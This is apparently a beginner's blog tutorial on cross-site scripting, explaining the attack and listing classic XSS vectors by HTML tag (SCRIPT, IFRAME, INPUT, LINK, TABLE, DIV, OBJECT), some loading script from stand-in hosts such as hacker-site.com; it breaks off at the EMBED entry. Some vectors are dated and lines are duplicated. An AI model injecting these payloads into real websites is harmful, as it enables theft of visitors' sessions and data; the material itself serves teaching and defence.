There
are various methods which a attacker can use to exploit or find
vulnerability in a webapplication
Below's a pie chart of various ways used by hacker to exploit a web-application .Created by Web Hacking Incident Database for 2013 SQL injection and XSS are most popular
Below's a pie chart of various ways used by hacker to exploit a web-application .Created by Web Hacking Incident Database for 2013 SQL injection and XSS are most popular
So with Cross site scripting taking a lead , lets first of all know what exactly it is .
Cross-site
scripting (XSS) is a vulnerability that permits an attacker to inject
code (typically HTML or Javascript) into contents of a target
website. When a viewer views such a page, the injected code executes
in the victim's browser. Thus, the attacker has bypassed the
browser's same origin policy and
can steal victim's private information associated with the website in
question.Dynamic Websites suffer from Serious Vulnerabilities
rendering organizations helpless and prone to cross site scripting
attacks on their data
Any
web page which passes parameters to a database can be vulnerable to
this hacking technique.Usually these are present in Login
forms,Forgot password forms, etc
Theory
of XSS:In
a typical XSS attack the hacker infects a web page with his malicious
client-side script. When a user visits this web page the script is
downloaded to his browser and executed. There are many slight
variations to this theme, however all XSS attacks follow this
pattern, which is depicted in the diagram below.
How its done ???
Internet applications today are dynamic and filled with ever changing content.Modern web pages pull data from many sources.These data is amalgamated with the web page and can contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts along with other images and other simple texts.Many times hackers use the comment section in a webpage to insert comment that contains script.when a user reads that comment that script is downloaded into his browser and executed.
<SCRIPT>
The
<SCRIPT> tag is the most popular way and sometimes easiest to
detect. It can arrive to a page in the following forms:
External Script
<SCRIPT SRC=https://Vunerabilites/XSS.js><SCRIPT>
Embedded Script
<SCRIPT>alert("XSS");</SCRIPT>
<SCRIPT SRC=https://Vunerabilites/XSS.js><SCRIPT>
Embedded Script
<SCRIPT>alert("XSS");</SCRIPT>
<IFRAME>
The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.
<IFRAME SRC=”https://hacker-site.com/xss.html”>
<INPUT>
If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<LINK>
The <LINK> tag, which is often used to link to external style sheets could contain a script:
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<TABLE>
The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:
<TABLE BACKGROUND="javascript:alert('XSS')">
The same applies to the <TD> tag, used to separate cells inside a table:
<TD BACKGROUND="javascript:alert('XSS')">
<DIV>
The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">The <DIV> STYLE attribute can also be manipulated in the following way:
<DIV STYLE="width: expression(alert('XSS'));"><OBJECT>
The <OBJECT> tag can be used to pull in a script from an external site in the following way:
<OBJECT TYPE="text/x-scriptlet" DATA="https://hacker.com/xss.html">
<EMBED>
If the hacker places a malicious script inside a flash file, it can be injected in the following way:

